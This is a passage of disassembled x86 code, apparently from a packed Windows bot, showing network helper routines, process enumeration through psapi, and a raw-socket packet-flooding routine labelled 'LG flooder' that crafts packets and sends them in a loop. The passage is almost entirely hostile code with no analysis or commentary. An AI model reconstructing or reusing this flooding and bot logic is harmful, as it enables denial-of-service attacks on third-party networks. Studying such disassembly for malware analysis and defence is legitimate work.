[esi+8] push dword ptr [esi+4] call dword_41222C ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_403BEE push 0 push edi call sub_40344B pop ecx pop ecx push dword ptr [esi+10h] push dword ptr [esi+18h] push edi call dword_412208 ; connect cmp eax, 0FFFFFFFFh jnz short loc_403BE7 call dword_412238 ; WSAGetLastError cmp eax, 2733h jz short loc_403BF5 loc_403BE7: ; CODE XREF: sub_403B44+94j push edi call sub_403D92 pop ecx loc_403BEE: ; CODE XREF: sub_403B44+78j mov esi, [esi+1Ch] jmp short loc_403BA4 ; --------------------------------------------------------------------------- loc_403BF3: ; CODE XREF: sub_403B44+62j xor edi, edi loc_403BF5: ; CODE XREF: sub_403B44+A1j push [ebp+var_4] call dword_41922C ; freeaddrinfo mov eax, edi pop edi pop esi leave retn sub_403B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C04 proc near ; CODE XREF: sub_401985+73p ; sub_402018+1Ap ... var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 82Ch mov eax, [ebp+arg_C] push ebx mov ecx, 3E8h push esi cdq mov esi, ecx xor ebx, ebx idiv esi push 20h push ebx mov [ebp+var_8], eax mov eax, [ebp+arg_C] cdq idiv ecx lea eax, [ebp+var_28] push eax imul edx, 3E8h mov [ebp+var_4], edx call sub_4114E8 ; memset add esp, 0Ch test [ebp+arg_8], 2 jz short loc_403C4E mov [ebp+var_24], 17h jmp short loc_403C5A ; --------------------------------------------------------------------------- loc_403C4E: ; CODE XREF: sub_403C04+3Fj movsx eax, [ebp+arg_8] and eax, 1 shl eax, 1 mov [ebp+var_24], eax loc_403C5A: ; CODE XREF: sub_403C04+48j test [ebp+arg_8], 4 push 0 pop eax setnz al inc eax mov [ebp+var_20], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_419224 ; getaddrinfo test eax, eax jz short loc_403C87 xor eax, eax jmp loc_403D6C ; --------------------------------------------------------------------------- loc_403C87: ; CODE XREF: sub_403C04+7Aj mov esi, [ebp+arg_C] push edi loc_403C8B: ; CODE XREF: sub_403C04+149j cmp esi, ebx jz loc_403D5E push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] call dword_41222C ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_403D4A push ebx push edi call sub_40344B pop ecx pop ecx push dword ptr [esi+10h] push dword ptr [esi+18h] push edi call dword_412208 ; connect test eax, eax jz short loc_403CD4 call dword_412238 ; WSAGetLastError cmp eax, 2733h jnz short loc_403D4A loc_403CD4: ; CODE XREF: sub_403C04+C1j lea eax, [ebp+var_8] mov [ebp+var_828], edi push eax lea eax, [ebp+var_82C] push ebx push eax push ebx push ebx mov [ebp+var_82C], 1 call dword_412214 ; select cmp eax, 1 jz short loc_403D52 mov edx, [ebp+var_82C] xor ecx, ecx cmp edx, ebx jbe short loc_403D43 lea eax, [ebp+var_828] loc_403D0F: ; CODE XREF: sub_403C04+115j cmp [eax], edi jz short loc_403D1D inc ecx add eax, 4 cmp ecx, edx jb short loc_403D0F jmp short loc_403D43 ; --------------------------------------------------------------------------- loc_403D1D: ; CODE XREF: sub_403C04+10Dj dec edx cmp ecx, edx jnb short loc_403D3D lea eax, [ebp+ecx*4+var_828] loc_403D29: ; CODE XREF: sub_403C04+137j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_82C] add eax, 4 dec edx cmp ecx, edx jb short loc_403D29 loc_403D3D: ; CODE XREF: sub_403C04+11Cj dec [ebp+var_82C] loc_403D43: ; CODE XREF: sub_403C04+103j ; sub_403C04+117j push edi call sub_403D92 pop ecx loc_403D4A: ; CODE XREF: sub_403C04+A3j ; sub_403C04+CEj mov esi, [esi+1Ch] jmp loc_403C8B ; --------------------------------------------------------------------------- loc_403D52: ; CODE XREF: sub_403C04+F7j push 1 push edi call sub_40344B pop ecx pop ecx jmp short loc_403D60 ; --------------------------------------------------------------------------- loc_403D5E: ; CODE XREF: sub_403C04+89j xor edi, edi loc_403D60: ; CODE XREF: sub_403C04+158j push [ebp+arg_C] call dword_41922C ; freeaddrinfo mov eax, edi pop edi loc_403D6C: ; CODE XREF: sub_403C04+7Ej pop esi pop ebx leave retn sub_403C04 endp ; =============== S U B R O U T I N E ======================================= sub_403D70 proc near ; CODE XREF: sub_401985+1E0p ; sub_401B81+2E1p ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call dword_412210 ; shutdown push 3E8h call dword_4120A4 ; Sleep push [esp+arg_0] call sub_403D92 pop ecx retn sub_403D70 endp ; =============== S U B R O U T I N E ======================================= sub_403D92 proc near ; CODE XREF: sub_4032D2+55p ; sub_403366+15p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_412240 ; closesocket retn sub_403D92 endp ; =============== S U B R O U T I N E ======================================= sub_403D9D proc near ; CODE XREF: sub_401985+110p ; sub_401B81+207p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call dword_412220 ; send retn sub_403D9D endp ; =============== S U B R O U T I N E ======================================= sub_403DB2 proc near ; CODE XREF: sub_402EFD+B5p ; sub_403DF6+1Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] cmp esi, 2 push edi jb short loc_403DDF mov edi, [esp+8+arg_4] lea eax, [esi-1] push 0 push eax push edi push [esp+14h+arg_0] call dword_412258 ; recv test eax, eax jz short loc_403DF3 cmp eax, 0FFFFFFFFh jz short loc_403DF3 cmp eax, esi jb short loc_403DEF loc_403DDF: ; CODE XREF: sub_403DB2+9j push 271Eh call dword_412244 ; WSASetLastError or eax, 0FFFFFFFFh jmp short loc_403DF3 ; --------------------------------------------------------------------------- loc_403DEF: ; CODE XREF: sub_403DB2+2Bj and byte ptr [eax+edi], 0 loc_403DF3: ; CODE XREF: sub_403DB2+22j ; sub_403DB2+27j ... pop edi pop esi retn sub_403DB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF6 proc near ; CODE XREF: sub_402018+70p ; sub_402018+195p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_403E1F pop ecx test eax, eax pop ecx jnz short loc_403E0C pop ebp retn ; --------------------------------------------------------------------------- loc_403E0C: ; CODE XREF: sub_403DF6+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403DB2 add esp, 0Ch pop ebp retn sub_403DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E1F proc near ; CODE XREF: sub_403DF6+9p ; sub_40B6BE+19p ... var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1010h call sub_411540 mov eax, [ebp+arg_4] mov ecx, 3E8h push ebx xor edx, edx mov ebx, ecx push esi div ebx xor edx, edx push edi push 1 mov edi, [ebp+arg_0] pop esi mov [ebp+var_808], edi mov [ebp+var_80C], esi mov [ebp+var_100C], edi mov [ebp+var_1010], esi mov [ebp+var_8], eax mov eax, [ebp+arg_4] div ecx lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_80C] push 0 push eax push esi imul edx, 3E8h mov [ebp+var_4], edx call dword_412214 ; select cmp eax, esi jz short loc_403E91 xor eax, eax jmp short loc_403EA4 ; --------------------------------------------------------------------------- loc_403E91: ; CODE XREF: sub_403E1F+6Cj lea eax, [ebp+var_80C] push eax push edi call sub_4117E8 ; __WSAFDIsSet neg eax sbb eax, eax neg eax loc_403EA4: ; CODE XREF: sub_403E1F+70j pop edi pop esi pop ebx leave retn sub_403E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EA9 proc near ; DATA XREF: sub_4044AA+BCo var_1338 = byte ptr -1338h var_1336 = word ptr -1336h var_1334 = word ptr -1334h var_1330 = byte ptr -1330h var_132F = byte ptr -132Fh var_132E = word ptr -132Eh var_132C = dword ptr -132Ch var_1328 = dword ptr -1328h var_1324 = word ptr -1324h var_1322 = word ptr -1322h var_1320 = word ptr -1320h var_131C = byte ptr -131Ch var_2D8 = dword ptr -2D8h var_131 = byte ptr -131h var_31 = byte ptr -31h var_2B = dword ptr -2Bh var_27 = dword ptr -27h var_23 = dword ptr -23h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1338h call sub_411540 push ebx push esi push edi push 2B9h push [ebp+arg_0] lea eax, [ebp+var_2D8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h mov esi, 0FFh push esi push 3 push 2 call dword_41222C ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403F78 push 1 lea ecx, [ebp+var_1C] pop edi xor ebx, ebx push 4 push ecx push 2 push ebx push eax mov [ebp+var_1C], edi call dword_412218 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_403F78 push ebx push [ebp+var_4] call sub_40344B push 10h lea eax, [ebp+var_18] push ebx push eax call sub_4114E8 ; memset lea eax, [ebp+var_31] mov [ebp+var_18], 2 push eax call sub_41151C ; atoi add esp, 18h push eax call dword_412248 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_131] push eax call dword_412254 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_14], eax jnz short loc_403F88 lea eax, [ebp+var_131] push eax call dword_41224C ; gethostbyname cmp eax, ebx jz short loc_403F78 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] cmp eax, 0FFFFFFFFh mov [ebp+var_14], eax jnz short loc_403F88 loc_403F78: ; CODE XREF: sub_403EA9+45j ; sub_403EA9+66j ... push [ebp+var_2D8] call sub_406E6F jmp loc_40448B ; --------------------------------------------------------------------------- loc_403F88: ; CODE XREF: sub_403EA9+ADj ; sub_403EA9+CDj push 1060h lea eax, [ebp+var_1338] push ebx push eax call sub_4114E8 ; memset mov al, [ebp+var_1338] add esp, 0Ch and al, 0F5h mov [ebp+var_132F], 11h or al, 5 mov [ebp+var_8], ebx and al, 0Fh or al, 40h cmp [ebp+var_2B], ebx mov [ebp+var_1338], al mov eax, [ebp+var_14] mov [ebp+var_1328], eax mov ax, [ebp+var_16] mov [ebp+var_1322], ax jle loc_404477 mov ebx, 0FFFFh loc_403FDD: ; CODE XREF: sub_403EA9+5C8j mov eax, [ebp+var_23] dec eax jz loc_40424E dec eax jz loc_404176 dec eax jnz short loc_404000 push 2 push 0 call sub_40B459 pop ecx test eax, eax pop ecx jnz short loc_404026 loc_404000: ; CODE XREF: sub_403EA9+146j push ebx push edi call sub_40B459 pop ecx movzx eax, ax pop ecx push eax lea eax, [ebp+var_131C] push offset aU_0 ; "%u" push eax call sub_4114DC ; sprintf add esp, 0Ch jmp loc_404354 ; --------------------------------------------------------------------------- loc_404026: ; CODE XREF: sub_403EA9+155j cmp eax, edi push ebx push edi jnz loc_4040D7 call sub_40B459 pop ecx movzx eax, ax pop ecx push eax lea eax, [ebp+var_131C] push offset aU ; "%u\r\n" push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 10h loc_40405B: ; CODE XREF: sub_403EA9+22Cj cmp eax, 7D0h push ebx push edi jnb loc_4042F3 call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax lea eax, [ebp+var_131C] push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_131C] push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 20h jmp short loc_40405B ; --------------------------------------------------------------------------- loc_4040D7: ; CODE XREF: sub_403EA9+181j call sub_40B459 pop ecx movzx eax, ax pop ecx push eax lea eax, [ebp+var_131C] push offset aU ; "%u\r\n" push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 10h loc_404102: ; CODE XREF: sub_403EA9+2CBj cmp eax, 7D0h push edi push 0 jnb loc_404213 call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi lea eax, [ebp+var_131C] push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_131C] push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 20h jmp short loc_404102 ; --------------------------------------------------------------------------- loc_404176: ; CODE XREF: sub_403EA9+13Fj push ebx push edi call sub_40B459 pop ecx movzx eax, ax pop ecx push eax lea eax, [ebp+var_131C] push offset aU ; "%u\r\n" push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 10h loc_4041A3: ; CODE XREF: sub_403EA9+368j cmp eax, 7D0h push edi push 0 jnb short loc_404213 call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi lea eax, [ebp+var_131C] push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_131C] push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 20h jmp short loc_4041A3 ; --------------------------------------------------------------------------- loc_404213: ; CODE XREF: sub_403EA9+261j ; sub_403EA9+302j call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi jmp loc_404332 ; --------------------------------------------------------------------------- loc_40424E: ; CODE XREF: sub_403EA9+138j push ebx push edi call sub_40B459 pop ecx movzx eax, ax pop ecx push eax lea eax, [ebp+var_131C] push offset aU ; "%u\r\n" push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 10h loc_40427B: ; CODE XREF: sub_403EA9+448j cmp eax, 7D0h push ebx push edi jnb short loc_4042F3 call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax lea eax, [ebp+var_131C] push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_131C] push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 20h jmp short loc_40427B ; --------------------------------------------------------------------------- loc_4042F3: ; CODE XREF: sub_403EA9+1B9j ; sub_403EA9+3D9j call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax loc_404332: ; CODE XREF: sub_403EA9+3A0j lea eax, [ebp+var_131C] push offset dword_413A68 push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_131C] push eax call sub_4114DC ; sprintf add esp, 1Ch loc_404354: ; CODE XREF: sub_403EA9+178j lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen xor edx, edx pop ecx test eax, eax mov [ebp+arg_0], eax jbe short loc_404384 loc_40436A: ; CODE XREF: sub_403EA9+4D9j mov al, [ebp+edx+var_131C] lea ecx, [ebp+edx+var_131C] shl al, 1 mov [ecx], al mov eax, [ebp+arg_0] inc edx cmp edx, eax jb short loc_40436A loc_404384: ; CODE XREF: sub_403EA9+4BFj add eax, 1Ch push eax call dword_412248 ; htons mov [ebp+var_1336], ax call sub_40B493 push eax call dword_412248 ; htons mov [ebp+var_1334], ax call sub_40B4C3 neg eax sbb al, al push 2 and al, 0C0h push offset dword_41A2E8 add al, 80h mov [ebp+var_1330], al call dword_412254 ; inet_addr push eax call sub_4031A7 mov [ebp+var_132C], eax mov eax, [ebp+arg_0] add eax, 14h push eax lea eax, [ebp+var_1338] push eax call sub_40315E add esp, 10h cmp [ebp+var_16], 0 mov [ebp+var_132E], ax jnz short loc_404404 call sub_40B493 mov [ebp+var_1322], ax loc_404404: ; CODE XREF: sub_403EA9+54Dj push ebx push edi call sub_40B459 pop ecx pop ecx push eax call dword_412248 ; htons mov [ebp+var_1324], ax mov eax, [ebp+arg_0] add eax, 8 push eax call dword_412248 ; htons mov [ebp+var_1320], ax lea eax, [ebp+var_18] push 10h push eax mov eax, [ebp+arg_0] push 0 add eax, 1Ch push eax lea eax, [ebp+var_1338] push eax push [ebp+var_4] call dword_412260 ; sendto cmp eax, 0FFFFFFFFh jz short loc_404495 push [ebp+var_27] call dword_4120A4 ; Sleep mov eax, [ebp+var_2D8] cmp dword ptr [eax+4], 0 jnz short loc_404477 inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [ebp+var_2B] jl loc_403FDD loc_404477: ; CODE XREF: sub_403EA9+129j ; sub_403EA9+5BDj push [ebp+var_4] call sub_403D92 push [ebp+var_2D8] call sub_406E6F loc_40448A: ; CODE XREF: sub_403EA9+5FFj pop ecx loc_40448B: ; CODE XREF: sub_403EA9+DAj pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_404495: ; CODE XREF: sub_403EA9+5A8j push [ebp+var_2D8] call sub_406E6F push [ebp+var_4] call sub_403D92 jmp short loc_40448A sub_403EA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044AA proc near ; CODE XREF: sub_407A76+582p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 push esi jz loc_404579 cmp [ebp+arg_8], 0 jz loc_404579 cmp [ebp+arg_14], 0 jz loc_404579 push 2B9h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz loc_404579 push [ebp+arg_0] lea eax, [esi+4] push eax call sub_40457C push 100h lea eax, [esi+1A7h] push [ebp+arg_4] push eax call sub_4059C2 push 6 lea eax, [esi+2A7h] push [ebp+arg_8] push eax call sub_4059C2 push [ebp+arg_C] call sub_41151C ; atoi push [ebp+arg_10] mov [esi+2ADh], eax call sub_41151C ; atoi push [ebp+arg_14] mov [esi+2B1h], eax call sub_41151C ; atoi mov ecx, [esi+2B1h] mov [esi+2B5h], eax mov eax, 0EA60h add esp, 2Ch cmp ecx, eax jge short loc_404550 mov eax, ecx loc_404550: ; CODE XREF: sub_4044AA+A2j cmp eax, 64h mov [esi+2B1h], eax jg short loc_40455E push 64h pop eax loc_40455E: ; CODE XREF: sub_4044AA+AFj push offset aLgFlooder ; "LG flooder" push 0 push esi push offset sub_403EA9 mov [esi+2B1h], eax call sub_406D58 add esp, 10h loc_404579: ; CODE XREF: sub_4044AA+8j ; sub_4044AA+12j ... pop esi pop ebp retn sub_4044AA endp ; =============== S U B R O U T I N E ======================================= sub_40457C proc near ; CODE XREF: sub_4014B0+53p ; sub_4018D5+64p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_4], 0 jnz short loc_4045A1 push esi mov esi, [esp+4+arg_0] push 1A3h push 0 push esi call sub_4114E8 ; memset add esp, 0Ch mov byte ptr [esi+198h], 1 pop esi retn ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_40457C+5j push 1A3h push [esp+4+arg_4] push [esp+8+arg_0] call sub_4114D0 ; memcpy add esp, 0Ch retn sub_40457C endp ; =============== S U B R O U T I N E ======================================= sub_4045B7 proc near ; CODE XREF: kkrunchy:004112A5p var_8 = dword ptr -8 push edi push offset dword_419650 call sub_4071D2 mov [esp+8+var_8], offset aPsapi_dll ; "psapi.dll" call dword_41205C ; LoadLibraryA mov edi, eax test edi, edi jz short loc_404637 push esi mov esi, dword_412060 push offset aEnumprocesses ; "EnumProcesses" push edi call esi ; GetProcAddress push offset aEnumprocessmod ; "EnumProcessModules" push edi mov dword_41964C, eax call esi ; GetProcAddress push offset aGetmodulefilen ; "GetModuleFileNameExA" push edi mov dword_419640, eax call esi ; GetProcAddress push offset aGetmoduleinfor ; "GetModuleInformation" push edi mov dword_419644, eax call esi ; GetProcAddress cmp dword_41964C, 0 mov dword_419648, eax pop esi jz short loc_404637 cmp dword_419640, 0 jz short loc_404637 cmp dword_419644, 0 jz short loc_404637 test eax, eax jz short loc_404637 mov byte_41966C, 1 loc_404637: ; CODE XREF: sub_4045B7+1Cj ; sub_4045B7+61j ... pop edi retn sub_4045B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404639 proc near ; CODE XREF: sub_4011C4+56p ; sub_40485F+2Ap var_125 = byte ptr -125h var_124 = byte ptr -124h var_123 = byte ptr -123h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 124h push ebx push esi push edi push offset dword_419650 call sub_407200 cmp byte_41966C, 0 pop ecx jnz short loc_404660 loc_404659: ; CODE XREF: sub_404639+35j ; sub_404639+4Cj ... xor esi, esi jmp loc_404842 ; --------------------------------------------------------------------------- loc_404660: ; CODE XREF: sub_404639+1Ej and [ebp+var_14], 0 push 0 call sub_4114C4 ; malloc test eax, eax pop ecx jz short loc_404659 mov esi, 80h push esi mov ebx, esi push eax loc_404679: ; CODE XREF: sub_404639+6Dj call sub_411576 ; realloc pop ecx mov [ebp+var_4], eax test eax, eax pop ecx jz short loc_404659 lea eax, [ebp+var_14] push eax push ebx push [ebp+var_4] call dword_41964C test eax, eax jz short loc_4046C6 mov edi, [ebp+var_14] cmp edi, ebx jb short loc_4046A8 add ebx, esi push ebx push [ebp+var_4] jmp short loc_404679 ; --------------------------------------------------------------------------- loc_4046A8: ; CODE XREF: sub_404639+65j shr edi, 2 mov eax, edi mov [ebp+var_10], edi imul eax, 114h add eax, 8 push eax call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jnz short loc_4046D1 loc_4046C6: ; CODE XREF: sub_404639+5Ej push [ebp+var_4] call sub_4114CA ; free pop ecx jmp short loc_404659 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_404639+8Bj lea eax, [esi+8] mov [esi], edi test edi, edi mov [esi+4], eax jbe short loc_404726 mov eax, [ebp+var_4] xor ebx, ebx mov [ebp+var_8], eax mov [ebp+var_C], edi loc_4046E8: ; CODE XREF: sub_404639+E8j mov edi, 114h push edi push 0 push dword ptr [esi+4] call sub_4114E8 ; memset mov ecx, [ebp+var_8] mov eax, [esi+4] push offset aSystem ; "system" mov ecx, [ecx] mov [ebx+eax], ecx mov eax, [esi+4] lea eax, [ebx+eax+0Ch] push eax call sub_4114B8 ; _mbscpy add [ebp+var_8], 4 add esp, 14h add ebx, edi dec [ebp+var_C] jnz short loc_4046E8 mov edi, [ebp+var_10] loc_404726: ; CODE XREF: sub_404639+A2j push [ebp+var_4] call sub_4114CA ; free test edi, edi pop ecx jbe loc_404842 xor ebx, ebx mov [ebp+var_4], edi loc_40473C: ; CODE XREF: sub_404639+203j mov eax, [esi+4] push dword ptr [ebx+eax] push 0 push 410h call dword_41209C ; OpenProcess mov edi, eax test edi, edi mov [ebp+var_8], edi jz loc_404833 and [ebp+var_10], 0 and [ebp+var_C], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push 4 push eax push edi call dword_419640 test eax, eax jnz short loc_40477F push edi jmp loc_40482D ; --------------------------------------------------------------------------- loc_40477F: ; CODE XREF: sub_404639+13Ej lea eax, [ebp+var_20] push 0Ch push eax push [ebp+var_C] push edi call dword_419648 mov eax, [esi+4] mov ecx, [ebp+var_20] push 40h lea edi, [ebp+var_123] mov [ebx+eax+4], ecx mov eax, [esi+4] mov ecx, [ebp+var_1C] mov [ebx+eax+8], ecx mov al, byte_4191D0 mov [ebp+var_124], al pop ecx xor eax, eax rep stosd stosw stosb mov edi, 104h lea eax, [ebp+var_124] push edi push eax push [ebp+var_20] push [ebp+var_8] call dword_419644 test eax, eax jz short loc_40482A cmp [ebp+var_124], 0 jz short loc_40482A lea eax, [ebp+var_124] push edi push eax mov eax, [esi+4] lea eax, [ebx+eax+0Ch] push eax call sub_4114D6 ; strncpy lea eax, [ebp+var_124] push eax call sub_4114BE ; strlen add esp, 10h test eax, eax jz short loc_40482A loc_40480C: ; CODE XREF: sub_404639+1E3j cmp eax, 1 jbe short loc_40482A cmp [ebp+eax+var_125], 5Ch jz short loc_404820 dec eax jnz short loc_40480C jmp short loc_40482A ; --------------------------------------------------------------------------- loc_404820: ; CODE XREF: sub_404639+1E0j mov ecx, [esi+4] mov [ebx+ecx+110h], eax loc_40482A: ; CODE XREF: sub_404639+1A0j ; sub_404639+1A9j ... push [ebp+var_8] loc_40482D: ; CODE XREF: sub_404639+141j call dword_4120AC ; CloseHandle loc_404833: ; CODE XREF: sub_404639+11Dj add ebx, 114h dec [ebp+var_4] jnz loc_40473C loc_404842: ; CODE XREF: sub_404639+22j ; sub_404639+F8j push offset dword_419650 call sub_40720B pop ecx mov eax, esi pop edi pop esi pop ebx leave retn sub_404639 endp ; =============== S U B R O U T I N E ======================================= sub_404854 proc near ; CODE XREF: sub_4011C4+27Bp arg_0 = dword ptr 4 push [esp+arg_0] call sub_4114CA ; free pop ecx retn sub_404854 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40485F proc near ; DATA XREF: sub_40491E+2Fo var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push esi push edi push 1A7h lea eax, [ebp+var_1A8] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h call sub_404639 mov esi, eax xor edi, edi cmp esi, edi jz short loc_40490A mov eax, [ebp+var_1A8] push ebx push dword ptr [esi] push dword ptr [eax] lea eax, [ebp+var_1A4] push offset dword_413B24 push eax call sub_4096CB add esp, 10h xor ebx, ebx cmp [esi], edi jle short loc_404902 loc_4048BB: ; CODE XREF: sub_40485F+A1j push 3E8h call dword_4120A4 ; Sleep mov eax, [esi+4] add eax, edi lea ecx, [eax+0Ch] push ecx push dword ptr [eax+8] push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_1A4] push offset dword_413B0C push eax call sub_4096CB mov eax, [ebp+var_1A8] add esp, 18h cmp dword ptr [eax+4], 0 jnz short loc_404902 inc ebx add edi, 114h cmp ebx, [esi] jl short loc_4048BB loc_404902: ; CODE XREF: sub_40485F+5Aj ; sub_40485F+96j push esi call sub_4114CA ; free pop ecx pop ebx loc_40490A: ; CODE XREF: sub_40485F+35j push [ebp+var_1A8] call sub_406E6F pop ecx pop edi xor eax, eax pop esi leave retn 4 sub_40485F endp ; =============== S U B R O U T I N E ======================================= sub_40491E proc near ; CODE XREF: sub_407A76+2B1p arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40495A push 1A3h lea eax, [esi+4] push [esp+8+arg_0] push eax call sub_4114D0 ; memcpy add esp, 0Ch push offset dword_413B4C push 0 push esi push offset sub_40485F call sub_406D58 add esp, 10h loc_40495A: ; CODE XREF: sub_40491E+10j pop esi retn sub_40491E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40495C proc near ; CODE XREF: sub_407A76+621p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx push esi push edi jz loc_404A2E cmp [ebp+arg_C], 0 jz loc_404A2E push [ebp+arg_4] call sub_41151C ; atoi push [ebp+arg_8] mov ebx, eax call sub_4079AC push [ebp+arg_C] mov [ebp+arg_8], eax call sub_41151C ; atoi mov esi, eax 